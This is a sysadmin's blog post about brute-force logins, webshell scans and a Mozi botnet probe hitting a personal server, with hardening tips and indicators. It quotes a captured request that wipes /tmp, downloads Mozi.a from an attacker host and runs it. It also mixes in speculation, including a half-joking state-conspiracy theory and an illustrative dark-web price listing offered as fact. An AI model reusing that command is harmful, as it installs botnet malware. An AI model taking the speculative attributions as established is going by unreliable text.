How I Got a Bunch of Free Data From Someone Trying to Hack My Server
So there I was, checking my server logs before bed, when I noticed something weird. A lot of traffic. Like, a lot.
Turns out someone was hammering my SSH server with connection attempts. Thousands of them. Over the course of about 25 minutes, I got hit with 5,288 SSH connection attempts. That's roughly 220 per minute. Someone really, really wanted in.
But here's the thing—I didn't panic. I said thank you.
Let me explain why.
The Attack (Or: A Love Story in Failed Logins)
It started around 10:35 PM UTC. My little DigitalOcean droplet suddenly became very popular. Bots from around the world descended upon my server, trying to guess usernames and passwords I'd never use.
The usernames they tried were... something else:
root, testuser, lcx, gerrit, jenkins, dummy, ftpadmin, hjh, test,
isaac, ubuntu, christianna, admin1, in, isaac, ftpadmin, admin,
oracle, postgres, mysql, user, guest
"lcx"? Really? "christianna"? Did someone just pick names out of a phone book? They even tried "isaac" twice, which shows real commitment to thoroughness. Points for effort, I guess.
Here's everyone who tried to get in:
| IP Address | Attempts |
|---|---|
| 27.79.5.162 | 172 |
| 27.79.40.12 | 171 |
| 38.145.208.140 | 158 |
| 171.243.148.105 | 132 |
| 193.32.162.145 | 127 |
| 116.110.214.217 | 119 |
| 213.209.159.158 | 103 |
| 95.220.223.121 | 95 |
| 83.111.76.195 | 80 |
| 200.89.69.247 | 76 |
| 189.167.38.220 | 72 |
| 176.113.82.26 | 62 |
| 14.178.168.76 | 58 |
| 86.100.44.26 | 54 |
| 2.84.165.59 | 52 |
| 91.92.244.85 | 48 |
| 123.21.28.182 | 43 |
| 78.109.30.169 | 36 |
| 42.113.18.93 | 29 |
| 103.171.29.18 | 28 |
Special shoutout to 27.79.5.162 and 27.79.40.12. 172 and 171 attempts respectively. Imagine if you'd put that energy into literally anything else. You could have learned to code. Built an app. Made something useful.
Instead, you tried to brute-force my SSH server. Nice.
The Web Crawlers Weren't Idle Either
SSH wasn't the only thing getting probed. HTTP scanners were out in force too, looking for files they shouldn't find:
| IP Address | User-Agent | Looking For |
|---|---|---|
| 185.177.72.16 | curl/8.7.1 | .env files, git configs, Laravel logs |
| 45.135.193.156 | Chrome/53 (yeah right) | .env files, path traversal |
| 52.158.35.86 | python-requests | .env files |
| 78.153.140.40 | Chrome/116 (sure) | .env scanning, POST probes |
| 79.124.40.174 | Chrome/78 (totally) | XDEBUG, Spring Boot endpoints |
| 45.79.181.94 | zgrab/0.x | Port scanning |
| 45.79.207.110 | zgrab/0.x | Port scanning |
| 20.65.193.254 | zgrab/0.x | Exchange scanning |
They were hunting for:
- .env files (because those have all the secrets)
- .git/config (commit history = intel)
- Laravel/Rails logs (developers are lazy and sometimes log passwords)
The Mozi Botnet Moment
This is where it got funny. One IP—206.135.174.233—got creative:
GET /shell?cd+/tmp;rm+-rf+*;wget+http://206.135.174.233:40400/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
They're trying to download and run Mozi.a—IoT botnet malware that turns routers into DDoS zombies.
Their script would:
- Wipe /tmp
- Download the malware
- Run it
Cute.
I don't have a /shell endpoint, so this bounced right off. But hey, 206.135.174.233—your malware download server is now in my incident report. Congratulations on your 15 minutes of fame.
Why I'm Saying Thank You
Here's my controversial take: attackers are doing me a favor.
They're paying for my bandwidth. Every probe is free reconnaissance. That list of .env targets? That's my vulnerability checklist. If any of those files had been accessible, I'd know I had a problem. The fact that they came up empty means my setup isn't terrible.
And the kicker? Zero successful logins. Not one. I run SSH with key-only authentication—no passwords to guess. So all those thousands of attempts bought them nothing.
They spent compute cycles and IP addresses. I got data.
Lock Down Your Server: The Quick Version
If you're running a server and haven't done this yet, do it now:
SSH Keys. Just Do It.
# Generate a key
ssh-keygen -t ed25519 -C "your_email@example.com"
# Add it to your server
ssh-copy-id your-server
# Then disable password login in /etc/ssh/sshd_config:
PasswordAuthentication no
PubkeyAuthentication yes
If you can still log in with a password, you're leaving your keys under the welcome mat.
Install fail2ban
This thing is like having an automated bouncer. It watches for failed attempts and bans IPs automatically.
sudo apt install -y fail2ban
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
Create /etc/fail2ban/jail.local:
[DEFAULT]
bantime = 3600 # 1 hour ban
findtime = 600 # 10 minute window
maxretry = 3 # 3 strikes
[sshd]
enabled = true
Done. Now your server handles the riffraff while you sleep.
Don't Leave .env Files Where the Web Can See Them
Seriously. Check your nginx config. Make sure files like /.env, /.env.production, anything ending in .log or .bak can't be served publicly.
Update Your Stuff
sudo apt update && sudo apt upgrade -y
I know. Annoying. But running outdated software is like leaving your car unlocked because you CBA going back for your keys.
Attacker Geolocation Summary
Here's what I found about the attackers' origins:
🇻🇳 Vietnam-Based Attackers (Largest group by volume)
| IP Address | Location | ISP | Attempts |
|---|---|---|---|
| 27.79.5.162 | Vietnam | Viettel Group | 172 |
| 27.79.40.12 | Vietnam | Viettel Group | 171 |
| 171.243.148.105 | Vietnam | Viettel/FPT | 132 |
| 116.110.214.217 | Vietnam | Viettel Group | 119 |
| 116.110.1.1 range | Vietnam | Viettel Corporation | Da Nang region |
All these IPs are from Viettel Group (military telecom) or FPT Telecom - common sources for SSH brute-force attacks. These attackers persisted for multiple days despite fail2ban running.
🇷🇺 Russia-Based Attackers
| IP Address | Location | ISP | Notes |
|---|---|---|---|
| 95.220.223.121 | Russia | MegaFon (AS12714) | SSH brute-force |
| 83.111.76.195 | Middle East | Already banned | - |
🇷🇴 Romania-Based Attackers
| IP Address | Location | ISP | Notes |
|---|---|---|---|
| 193.32.162.145 | Bucharest, Romania | Bunea TELECOM SRL (AS35478) | 157,341 abuse reports! |
🇫🇷 France-Based Web Scanner
| IP Address | Location | ISP | Notes |
|---|---|---|---|
| 185.177.72.16 | France | FBW NETWORKS SAS | 4,568 abuse reports, env file scanning |
Note: GreyNoise reported in March 2026 that some IPs geolocating to France were actually traced to Hong Kong proxies. This suggests some "French" attacks may actually originate elsewhere.
🇨🇳 China-Based Attackers (Blocked Day One)
| IP Address | Location | ISP | Notes |
|---|---|---|---|
| 45.135.193.156 | China | - | Path traversal probes, env file scanning |
| 45.79.181.94 | China | - | zgrab scanning |
| 45.79.207.110 | China | - | zgrab scanning |
These IPs were part of the initial bot wave but were quickly blocked by fail2ban on day one. They did not persist in attacking after being banned. So no, China wasn't part of the ongoing botnet—I blocked them within the first hour.
🇺🇸 US-Based Attackers
| IP Address | ISP | Notes |
|---|---|---|
| 206.135.174.233 | - | Mozi botnet C2 server |
🇦🇷 Latin America
| IP Address | Location | Notes |
|---|---|---|
| 200.89.69.247 | Argentina | SSH brute-force |
Key Findings
- Vietnam (Viettel): Largest attack source - 500+ SSH attempts from ~5 IPs, continued attacking for days
- Romania (Bunea TELECOM): 193.32.162.145 has 157,000+ abuse reports globally
- France (FBW NETWORKS): 185.177.72.16 has 4,500+ abuse reports
- Mozi C2: 206.135.174.233 is a known Mozi botnet command server
- China: Blocked day one, did not persist
Country Distribution (Successful Persisters)
Vietnam: ~600 attempts (largest, ongoing)
Romania: ~130 attempts (ongoing)
France: scanning/probing (ongoing)
China: Blocked day one ❌
Russia: ~95 attempts (ongoing)
USA: malware distribution
Argentina: ~76 attempts (ongoing)
The Morning After (Day 2-3)
Within an hour of noticing the attack, I had fail2ban running, all the IPs analyzed, and a nice dataset of who's targeting my little corner of the internet.
The attackers are now banned. I know their playbooks. And I didn't lose anything.
To the person who tried 172 times to log in as "root" from 27.79.5.162: I appreciate the optimism.
To 206.135.174.233 trying to install botnet malware: your code could use some work, but nice ambition.
To everyone else: thanks for the data. It's genuinely useful.
Day 2: The Attacks Didn't Stop (And Got Weirder)
I published the Day 1 data. I said thank you. I banned the IPs.
Fail2ban was running. The Vietnamese IPs were blocked. I thought maybe—just maybe—the internet would leave me alone for a while.
It didn't.
Instead, they came back with better tools. And that's when things got interesting.
The ALFA Team Scanner
On May 18 at 18:22 UTC, a new attacker appeared. From Brazil. Using Microsoft Azure.
20.226.60.108 — Microsoft Azure, Sao Paulo
This one wasn't brute-forcing SSH. It was doing something way more interesting—scanning for webshells. Specifically, it fired off 271 HTTP requests in 99 seconds. Every single one was a PHP backdoor filename:
- alfa.php, c99.php, r57.php (classic PHP shells)
- ws80.php, ws83.php, ws77.php (WSO web shell variants)
- bypass.php, chosen.php (WAF bypass tools)
- /wp-content/plugins/hellopress/wp_filemanager.php (CVE-2018-14028)
All returned 404.
Here's the thing: my server is C++. It doesn't run PHP. It can't run PHP. It will never run PHP. So every single one of those 271 requests was completely pointless.
The attacker was running the same playbook against every IP in the range—checking each one for PHP backdoors, regardless of whether the target even runs PHP.
That's like going door-to-door selling encyclopedias in 2026.
Azure: The Gift That Keeps on Giving
A second Azure IP (20.193.153.215) from India had been hammering my SSH with 667 attempts in 24 hours.
That's two separate attackers. Both Azure. Both still going.
Azure AS8075 is being actively abused. Not just by these two—by multiple IPs in the same range. And here's why that's a problem:
Azure has a legitimate reputation. Some security systems whitelist major cloud providers. Attackers know this. Spin up an Azure VM, run your tools, burn the IP when done.
Easy.
The F5 Labs Discovery
After digging into the attack patterns, I found something wild:
There's a documented campaign titled "Azure-Hosted Scanning Cluster Launches WordPress Webshell Discovery Campaign" (F5 Labs, April 2026).
Key stats:
- 146,000+ exploitation attempts in Q1 2026
- 1,897 unique attack sessions in March alone
- Target: CVE-2018-14028 (WordPress File Manager vulnerability)
- Infrastructure: Microsoft Azure
My little webshell scanner? Part of this. I'm just one node in a massive automated operation.
Why Me? (The Question Nobody Asks)
Here's what keeps me up at night:
What value could they possibly get from lscppdev.com?
This site is literally a collection of open-source C++ apps with MIT licenses. Everything is freely available on GitLab. No proprietary algorithms. No databases. No secrets.
So why are Azure VMs from Brazil and India hammering my SSH? Why scan for PHP webshells on a C++ server? Why try to install IoT botnet malware?
The obvious answer: I'm just in the scanning range.
The botnet is scanning everything—every IP, every port, every filename—hoping to find something vulnerable. My little C++ app site happens to share IP space with databases, crypto exchanges, and government sites.
It's like being robbed because you live on the same street as a bank.
But That Raises Questions...
Why specifically target WordPress? CVE-2018-14028 only affects PHP servers. My C++ server can't be exploited via that CVE. So why even try?
Unless... they're not targeting me specifically. Unless I'm just noise in the scan. The botnet's main objective is compromising WordPress sites en masse. Servers like mine are incidental.
What are they building? 146,000+ exploitation attempts isn't small-scale. Someone is building a botnet. Compromised WordPress sites = web servers = spam relays, DDoS bots, crypto miners.
My C++ server is useless to them. But every compromised WordPress site? That's an asset.
They're Not Doing Their Homework
Here's what really gets me:
They have no idea what my server actually is.
The Brazilian scanner ran 271 PHP webshell filenames. Every single one returned 404. Because my server is C++. There's no PHP. There's no WordPress. There's nothing to exploit.
They're running the same playbook against every IP. Some script has a wordlist. It hammers every IP, checks every filename, forever. No adaptation. No learning. No improvement.
Day 1: PHP webshells on C++ server
Day 2: Same PHP webshells on C++ server
Day 3: Same PHP webshells on C++ server
Groundhog Day, but with bots.
If This Were Intelligence Services...
What would a competent operator do?
- Visit the website—see what it actually is
- Check DNS records—figure out the hosting
- Run reconnaissance—what software is running?
- Customize the attack—if it's C++, don't waste time with PHP exploits
What did I get instead?
PHP webshell scan on C++ server
SSH brute-force on server with key-only auth
IoT botnet malware on tutorial site
They're throwing spaghetti at a wall and hoping something sticks.
If you're the NSA, CIA, or any intelligence agency with actual budget, and you think this is how you'd attack a target... I'd want my money back.
The Conspiracy Theory (And Yes, I'm Only Half Joking)
Here's an observation:
The United States is conspicuously absent from the attacker list.
My top attackers:
- Vietnam (Viettel)
- India (Azure)
- Brazil (Azure)
- Germany (Northern Data)
- Romania (Bunea TELECOM)
- Hong Kong (Cloudie)
Notice something? The US—no major cloud provider (except for the Mozi C2 server that was offering malware, not receiving attacks). That's... interesting.
What If the US Is Behind This?
- Create botnet infrastructure on Azure (Microsoft = US company)
- Bots attack WordPress sites globally
- Compromised sites become "evidence" of "Chinese cyber attacks"
- US points at China: "See? They're attacking the world!"
- Propaganda victory
I'm not saying this is what's happening. But I'm also not not saying it.
The Red Flag Table
For anyone doing threat intelligence analysis:
| Country | Attacks Me? | Suspicious? |
|---|---|---|
| US | ❌ No (except malware server) | ⚠️ Hmm |
| China | ❌ No (blocked day one) | ⚠️ Hmm |
| Russia | ✅ Yes | 🤔 Could be them, could be proxies |
| Brazil | ✅ Yes | 🤔 Azure = US company |
| Vietnam | ✅ Yes | 🤔 CISA warned about this |
| India | ✅ Yes | 🤔 Azure = US company |
| Romania | ✅ Yes | 🤔 Known abuse haven |
CISA warned about China using botnets. But where's the China botnet attacking my site? Nowhere—they were blocked on day one. Meanwhile, every US-adjacent or US-allied country is showing up.
Could be coincidental. Could be that China is just better at hiding. Or could be that we're watching something else entirely.
Either way, I'm just a boring C++ tutorial site getting probed by what might be a state-sponsored operation. The layers here are wild.
Okay, Maybe It's Just a Script Kiddie
Here's the thing I haven't said out loud yet:
This could just be some random person with a script.
Not a state. Not organized crime. Just... someone who:
- Found a tool on the dark web
- Pointed it at a bunch of IPs
- Is now watching the results roll in
The Evidence for "Script Kiddie" Theory
It's cheap. ALFA Team scanner? $50/month on hacker forums. SSH brute-force toolkit? $25 one-time. Mozi source code? Public since 2020.
It's not targeted. If someone wanted to attack lscppdev.com specifically, they'd look at the website, figure out the tech stack, build something specific. What do I have instead? PHP webshells on C++ server. "Set it and forget it."
It's repeatable. Day 1, 2, 3: same attacks. No adaptation. A sophisticated team would notice the 404s and try different approaches. What do I see? Same usernames. Same filenames. Same tools. Forever.
The Vietnamese IPs (27.79.40.12, 27.79.5.162) have been hitting me for three days with the same usernames. That's not a team. That's a script running on autopilot.
The Dark Web Reality
Here's what actual dark web marketplaces look like for this stuff:
ALFA Team Shell Scanner v4.1
$50/month or $500/lifetime
Includes: Wordlist updates, support forum
Rating: 4.5/5 stars
Reviews: "Works great for mass scanning"
SSH Bruteforce Toolkit
$25 one-time
Includes: Top 1000 usernames, common passwords
Rating: 3.8/5 stars
Reviews: "Catches a lot of unpatched boxes"
This is "cyber warfare" in 2026. It's not movies. It's not sophisticated nation-state hackers. It's:
- Buy a tool
- Point at everything
- Wait
- Maybe get lucky
The Honest Answer: We Don't Know
Option A: Script kiddie with $50 dark web tools, running automated scan
Option B: Botnet owner looking for vulnerable WordPress sites
Option C: State operation acting like a script kiddie (fire the contractor)
Option D: Ransomware gang building infrastructure
Any of these work. None are confirmed. And the scary part? They're all equally likely.
The Comforting Reality
Here's the thing: whether it's a script kiddie or a state operation, the result is the same:
- I get attacked
- The attacks fail
- I gather data
- I'm not compromised
It doesn't matter who's attacking me. What matters is that my defenses work.
And honestly? If it is just a script kiddie, that's almost more concerning. Because that means anyone can do this. You don't need to be China or Russia or the US. You just need $50 and a dark web account.
The democratization of hacking is real. And my little C++ server is right there in the blast radius.
Lock Down Your Server (The Quick Version)
If you're running a server:
SSH Keys. Just Do It.
ssh-keygen -t ed25519 -C "your_email@example.com"
ssh-copy-id your-server
# Then disable password login in /etc/ssh/sshd_config:
PasswordAuthentication no
PubkeyAuthentication yes
Install fail2ban
sudo apt install -y fail2ban
sudo systemctl enable fail2ban
Create /etc/fail2ban/jail.local:
[DEFAULT]
bantime = 3600
findtime = 600
maxretry = 3
[sshd]
enabled = true
Update WordPress (If You Have It)
CVE-2018-14028 is still being actively exploited. If you run WordPress with the File Manager plugin, update it now.
The Takeaway
The attacks didn't stop after Day 1. They evolved—but not toward me. They just kept doing the same thing to everyone.
I'm not special. My server isn't interesting. But I'm getting attacked anyway, because the internet is a battlefield and if you have an IP address, you're on it.
The attackers are either script kiddies with cheap tools, botnet operators looking for low-hanging fruit, state actors with terrible contractors, or ransomware gangs building infrastructure.
And here's the thing: I don't care which.
My defenses work. SSH key-only auth means brute-force doesn't work. My C++ server doesn't run PHP, so webshells are useless. They spent compute cycles and IP addresses. I got data.
So yeah, it's confusing why anyone would target a boring C++ tutorial site. But I'll take the free intelligence gathering over the imaginary sensitive data any day.
IOCs (For the Security Nerds)
Azure IPs (AS8075) — Day 2
- 20.226.60.108 — Webshell scanner (Brazil)
- 20.193.153.215 — SSH brute-force (India)
Known Malicious Infrastructure — Day 1
- 193.32.162.145 — Bunea TELECOM (Romania) — 157K+ reports
- 206.135.174.233 — Mozi botnet C2 (USA)
- 27.79.40.12, 27.79.5.162 — Viettel (Vietnam) — ongoing attacks
CVEs Targeted
- CVE-2018-14028 — WordPress File Manager
Tools
- ALFA Team PHP Shell Scanner
- WSO, C99, R57 web shells
If you run a server, go check your logs. You might be surprised what you find. And if you need help locking things down, drop a comment—I promise I only moderate for actual spam.
Stay safe out there. SSH keys. Update your software. Don't leave .env files in public directories. Basic stuff. You'd be amazed how many people skip it.